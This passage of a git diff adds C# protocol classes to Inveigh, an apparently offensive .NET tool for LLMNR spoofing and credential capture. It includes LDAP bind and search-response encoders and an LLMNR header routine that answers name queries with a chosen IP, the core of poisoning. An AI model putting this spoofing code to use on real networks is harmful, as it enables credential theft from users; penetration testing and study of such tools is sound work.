+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using System.DirectoryServices.Protocols;
+using Quiddity.Support;
+
+namespace Quiddity.LDAP
+{
+ // https://datatracker.ietf.org/doc/html/rfc2251#section-4.2
+ class LDAPMessage
+ {
+ public int MessageID { get; set; }
+ public object ProtocolOp { get; set; }
+ public byte[] Controls { get; set; }
+
+ //custom
+
+ public int Tag { get; set; }
+
+ public byte[] Encode()
+ {
+ return BerConverter.Encode("{iX}", this.MessageID, this.ProtocolOp);
+ }
+
+ public byte[] Encode(int type)
+ {
+
+ switch (type)
+ {
+
+ case 3:
+ {
+ LDAPBindResponse protocolOp = (LDAPBindResponse)this.ProtocolOp;
+ return BerConverter.Encode("{it{eooto}}", this.MessageID, 0x61, protocolOp.ResultCode, protocolOp.MatchedDN, protocolOp.DiagnosticMessage, 0x87, protocolOp.ServerSaslCreds);
+ }
+
+ case 4:
+ {
+ LDAPSearchResEntry protocolOp = (LDAPSearchResEntry)this.ProtocolOp;
+ return BerConverter.Encode("{it{sto}}", this.MessageID, 0x64, protocolOp.ObjectDN, 0x30, protocolOp.Attributes);
+ }
+
+ case 5:
+ {
+ LDAPSearchResDone protocolOp = (LDAPSearchResDone)this.ProtocolOp;
+ return BerConverter.Encode("{it{eoo}}", this.MessageID, 0x65, protocolOp.ResultCode, protocolOp.MatchedDN, protocolOp.ErrorMessage);
+ }
+
+ }
+
+ return null;
+ }
+
+ public byte[] Encode(LDAPSearchResDone resdone)
+ {
+ return BerConverter.Encode("{it{eoo}}", this.MessageID, 0x65, resdone.ResultCode, resdone.MatchedDN, resdone.ErrorMessage);
+ }
+
+ public byte[] Encode(LDAPSearchResEntry search)
+ {
+ return BerConverter.Encode("{it{stX}}", this.MessageID, 0x64, search.ObjectDN, 0x30, search.Attributes);
+ }
+
+ public void Decode(byte[] data)
+ {
+ this.Tag = GetMessageType(data);
+ object[] message = BerConverter.Decode("{iV}", data);
+ this.MessageID = (int)message[0];
+ this.ProtocolOp = message[1];
+ }
+
+ public static int GetLength(int index, byte[] data)
+ {
+ int length = 0;
+
+ switch (data[index])
+ {
+
+ case 0x84:
+ {
+ index++;
+ byte[] valueLength = new byte[4];
+ Buffer.BlockCopy(data, index, valueLength, 0, 4);
+ Array.Reverse(valueLength);
+ length = BitConverter.ToInt32(valueLength, 0);
+ length += 4;
+ }
+ break;
+
+ }
+
+ return length;
+ }
+
+ public static int GetMessageType(byte[]data)
+ {
+ int type = -1;
+ int index = 1;
+ byte tag;
+ int valueLength = data[index++];
+
+ if ((valueLength & 0x80) == 0x80)
+ {
+ int length = valueLength & 0x7f;
+ valueLength = 0;
+
+ for (int i = 0; i < length; i++)
+ {
+ valueLength = valueLength * 256 + data[index++];
+ }
+
+ }
+ else
+ {
+ index += valueLength;
+ }
+
+ index++;
+ valueLength = data[index];
+
+ if ((valueLength & 0x80) == 0x80)
+ {
+ int length = valueLength & 0x7f;
+ valueLength = 0;
+
+ for (int i = 0; i < length; i++)
+ {
+ valueLength = valueLength * 256 + data[index++];
+ }
+
+ }
+ else
+ {
+ index += valueLength;
+ }
+
+ index++;
+ tag = data[index];
+
+ if ((tag & 0x60) == 0x60 || (tag & 0x40) == 0x40)
+ {
+ type = tag & 0x1f;
+ }
+
+ return type;
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/LDAP/ProtocolOp/LDAPBindRequest.cs b/Inveigh/Protocols/Quiddity/Protocols/LDAP/ProtocolOp/LDAPBindRequest.cs
new file mode 100644
index 0000000..8d10047
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/LDAP/ProtocolOp/LDAPBindRequest.cs
@@ -0,0 +1,23 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.LDAP
+{
+ class LDAPBindRequest
+ {
+ public byte[] Version { get; set; }
+ public byte[] Name { get; set; }
+ public byte[] Authentication { get; set; }
+
+ public void ReadBytes(byte[][] Data)
+ {
+ this.Version = (byte[])Data.GetValue(0);
+ this.Name = (byte[])Data.GetValue(1);
+ this.Authentication = (byte[])Data.GetValue(2);
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/LDAP/ProtocolOp/LDAPBindResponse.cs b/Inveigh/Protocols/Quiddity/Protocols/LDAP/ProtocolOp/LDAPBindResponse.cs
new file mode 100644
index 0000000..26720cd
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/LDAP/ProtocolOp/LDAPBindResponse.cs
@@ -0,0 +1,18 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.LDAP
+{
+ class LDAPBindResponse : LDAPResult
+ {
+ public byte[] ServerSaslCreds { get; set; }
+
+ public LDAPBindResponse()
+ {
+ this.ResultCode = 14;
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/LDAP/ProtocolOp/LDAPPartialAttributeList.cs b/Inveigh/Protocols/Quiddity/Protocols/LDAP/ProtocolOp/LDAPPartialAttributeList.cs
new file mode 100644
index 0000000..43f565b
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/LDAP/ProtocolOp/LDAPPartialAttributeList.cs
@@ -0,0 +1,13 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.LDAP
+{
+ class LDAPPartialAttributeList
+ {
+ public string Type { get; set; }
+ public string[] Vals { get; set; }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/LDAP/ProtocolOp/LDAPSearchRequest.cs b/Inveigh/Protocols/Quiddity/Protocols/LDAP/ProtocolOp/LDAPSearchRequest.cs
new file mode 100644
index 0000000..ee697b7
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/LDAP/ProtocolOp/LDAPSearchRequest.cs
@@ -0,0 +1,46 @@
+using Quiddity.Support;
+using System;
+using System.Collections.Generic;
+using System.DirectoryServices.Protocols;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.LDAP
+{
+ class LDAPSearchRequest
+ {
+ public byte[] BaseObject { get; set; }
+ public byte[] Scope { get; set; }
+ public byte[] DerefAliases { get; set; }
+ public byte[] SizeLimit { get; set; }
+ public byte[] TimeLimit { get; set; }
+ public byte[] TypesOnly { get; set; }
+ public byte[] Filter { get; set; }
+ public string[] Attributes { get; set; }
+
+ public void ReadBytes(byte[][] Data)
+ {
+ this.BaseObject = (byte[])Data.GetValue(0);
+ this.Scope = (byte[])Data.GetValue(1);
+ this.DerefAliases = (byte[])Data.GetValue(2);
+ this.SizeLimit = (byte[])Data.GetValue(3);
+ this.TimeLimit = (byte[])Data.GetValue(4);
+ this.TypesOnly = (byte[])Data.GetValue(5);
+ this.Filter = (byte[])Data.GetValue(6);
+ this.Attributes = ASN1.DecodeOctetStringArray((byte[])Data.GetValue(7));
+ }
+
+ public object[] Decode(byte[] Data)
+ {
+ return BerConverter.Decode("{OiiiiiOO}", Data);
+ }
+
+ public object[] Decode2(byte[] Data)
+ {
+ return BerConverter.Decode("{B}", Data);
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/LDAP/ProtocolOp/LDAPSearchResDone.cs b/Inveigh/Protocols/Quiddity/Protocols/LDAP/ProtocolOp/LDAPSearchResDone.cs
new file mode 100644
index 0000000..a62f9a5
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/LDAP/ProtocolOp/LDAPSearchResDone.cs
@@ -0,0 +1,22 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using System.DirectoryServices.Protocols;
+
+namespace Quiddity.LDAP
+{
+ class LDAPSearchResDone
+ {
+ public int ResultCode { get; set; }
+ public byte[] MatchedDN { get; set; }
+ public byte[] ErrorMessage { get; set; }
+
+ public byte[] Encode()
+ {
+ return BerConverter.Encode("t{eoo}", 0x65, this.ResultCode, this.MatchedDN, this.ErrorMessage); ;
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/LDAP/ProtocolOp/LDAPSearchResEntry.cs b/Inveigh/Protocols/Quiddity/Protocols/LDAP/ProtocolOp/LDAPSearchResEntry.cs
new file mode 100644
index 0000000..c1a6f1e
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/LDAP/ProtocolOp/LDAPSearchResEntry.cs
@@ -0,0 +1,25 @@
+using System;
+using System.Collections.Generic;
+using System.DirectoryServices.Protocols;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.LDAP
+{
+ class LDAPSearchResEntry
+ {
+ public string ObjectDN { get; set; }
+ public byte[] Attributes { get; set; }
+
+ public byte[] Encode()
+ {
+ return BerConverter.Encode("t{stX}", new object[] { 0x64, this.ObjectDN, 0x30, this.Attributes } );
+ }
+
+ public byte[] Encode(Object[] Segment)
+ {
+ return BerConverter.Encode("t{s{V}}", 0x64, this.ObjectDN, Segment);
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/LDAP/Values/LDAPResult.cs b/Inveigh/Protocols/Quiddity/Protocols/LDAP/Values/LDAPResult.cs
new file mode 100644
index 0000000..5d53155
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/LDAP/Values/LDAPResult.cs
@@ -0,0 +1,46 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.LDAP
+{
+ class LDAPResult
+ {
+ public int ResultCode { get; set; }
+ public byte[] MatchedDN { get; set; }
+ public byte[] DiagnosticMessage { get; set; }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/LDAP/Values/LDAPSaslCredentials.cs b/Inveigh/Protocols/Quiddity/Protocols/LDAP/Values/LDAPSaslCredentials.cs
new file mode 100644
index 0000000..a9f9670
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/LDAP/Values/LDAPSaslCredentials.cs
@@ -0,0 +1,52 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.Support;
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.LDAP
+{
+ class LDAPSaslCredentials
+ {
+ public string Mechanism { get; set; }
+ public byte[] Credentials { get; set; }
+
+ public void ReadBytes(byte[] Data)
+ {
+ this.Mechanism = Encoding.UTF8.GetString(ASN1.GetTagBytes(4, Data));
+ this.Credentials = ASN1.GetTagBytes(4, Data, ASN1.GetLength(1, Data));
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/LDAP/Values/LDAPSupportedCapabilities.cs b/Inveigh/Protocols/Quiddity/Protocols/LDAP/Values/LDAPSupportedCapabilities.cs
new file mode 100644
index 0000000..087889b
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/LDAP/Values/LDAPSupportedCapabilities.cs
@@ -0,0 +1,55 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.DirectoryServices.Protocols;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.LDAP
+{
+ class LDAPSupportedCapabilities : LDAPPartialAttributeList
+ {
+
+ public LDAPSupportedCapabilities()
+ {
+ this.Type = "supportedCapabilities";
+ this.Vals = new string[] { "1.2.840.113556.1.4.800", "1.2.840.113556.1.4.1670", "1.2.840.113556.1.4.1791", "1.2.840.113556.1.4.1935", "1.2.840.113556.1.4.2080", "1.2.840.113556.1.4.2237" };
+ }
+
+ public byte[] Encode()
+ {
+ return BerConverter.Encode("{st{v}}", this.Type, 0x31, this.Vals);
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/LDAP/Values/LDAPSupportedSASLMechanisms.cs b/Inveigh/Protocols/Quiddity/Protocols/LDAP/Values/LDAPSupportedSASLMechanisms.cs
new file mode 100644
index 0000000..3db038e
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/LDAP/Values/LDAPSupportedSASLMechanisms.cs
@@ -0,0 +1,56 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.LDAP;
+using System;
+using System.Collections.Generic;
+using System.DirectoryServices.Protocols;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.LDAP
+{
+ class LDAPSupportedSASLMechanisms : LDAPPartialAttributeList
+ {
+
+ public LDAPSupportedSASLMechanisms()
+ {
+ this.Type = "supportedSASLMechanisms";
+ this.Vals = new string[] { "GSSAPI", "GSS-SPNEGO", "EXTERNAL", "DIGESTMD5" };
+ }
+
+ public byte[] Encode()
+ {
+ return BerConverter.Encode("{st{v}}", this.Type, 0x31, this.Vals);
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/LLMNR/LLMNRChecker.cs b/Inveigh/Protocols/Quiddity/Protocols/LLMNR/LLMNRChecker.cs
new file mode 100644
index 0000000..c1ca969
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/LLMNR/LLMNRChecker.cs
@@ -0,0 +1,41 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.DNS;
+
+namespace Quiddity.LLMNR
+{
+ class LLMNRChecker : DNSChecker
+ {
+
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/LLMNR/LLMNRHeader.cs b/Inveigh/Protocols/Quiddity/Protocols/LLMNR/LLMNRHeader.cs
new file mode 100644
index 0000000..8df7faa
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/LLMNR/LLMNRHeader.cs
@@ -0,0 +1,130 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.DNS;
+using System;
+
+namespace Quiddity.LLMNR
+{
+ class LLMNRHeader : DNSHeader
+ {
+ // https://tools.ietf.org/html/rfc4795#section-2.1
+
+ public bool C { get; set; } // 1 bit
+ public bool T { get; set; } // 1 bit
+
+ public LLMNRHeader()
+ {
+
+ }
+
+ public LLMNRHeader (byte[] data)
+ {
+ ReadBytes(data, 0);
+ }
+
+ public byte[] GetPacket(uint ttl, string ip, string ipv6, byte[] data, out string name, out string type)
+ {
+ this.ReadBytes(data, 0);
+ name = "";
+ type = "A";
+
+ if (!this.QR)
+ {
+ LLMNRQuestion question = new LLMNRQuestion();
+ question.ReadBytes(data, 12);
+
+ if (string.Equals(BitConverter.ToString(question.QType), "00-1C"))
+ {
+ type = "AAAA";
+ ip = ipv6;
+ }
+
+ LLMNRResource response = new LLMNRResource();
+ return response.GetBytes(question, ttl, ip, this.ID);
+ }
+
+ return null;
+ }
+
+
+ protected override void ReadFlags()
+ {
+ string flags = Convert.ToString(BitConverter.ToUInt16(this.Flags, 0), 2).PadLeft(16, '0');
+
+ if (string.Equals(flags.Substring(0, 1), "1"))
+ {
+ this.QR = true;
+ }
+
+ this.Opcode = flags.Substring(1, 4);
+
+ if (string.Equals(flags.Substring(5, 1), "1"))
+ {
+ this.C = true;
+ }
+
+ if (string.Equals(flags.Substring(6, 1), "1"))
+ {
+ this.TC = true;
+ }
+
+ if (string.Equals(flags.Substring(7, 1), "1"))
+ {
+ this.T = true;
+ }
+
+ this.Z = flags.Substring(8, 4);
+ this.RCode = flags.Substring(12, 4);
+ }
+
+ protected override void WriteFlags()
+ {
+ string flags = this.QR ? "1" : "0";
+ flags += this.Opcode;
+ flags += this.C ? "1" : "0";
+ flags += this.TC ? "1" : "0";
+ flags += this.T ? "1" : "0";
+ flags += this.Z;
+ flags += this.RCode;
+ byte[] bytes = new byte[2];
+
+ for (int i = 0; i < 2; ++i)
+ {
+ bytes[i] = Convert.ToByte(flags.Substring(8 * i, 8), 2);
+ }
+
+ this.Flags = bytes;
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/LLMNR/LLMNRPacket.cs b/Inveigh/Protocols/Quiddity/Protocols/LLMNR/LLMNRPacket.cs
new file mode 100644
index 0000000..c424a82
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/LLMNR/LLMNRPacket.cs
@@ -0,0 +1,98 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.LLMNR;
+using Quiddity.Support;
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Net;
+using System.Text;
+
+namespace Quiddity.LLMNR
+{
+ class LLMNRPacket
+ {
+ public LLMNRHeader Header { get; set; }
+ public LLMNRQuestion Question { get; set; }
+ public LLMNRResource Resource { get; set; }
+
+ public LLMNRPacket(byte[] data)
+ {
+ ReadBytes(data);
+ }
+
+ public LLMNRPacket ReadBytes(byte[] data)
+ {
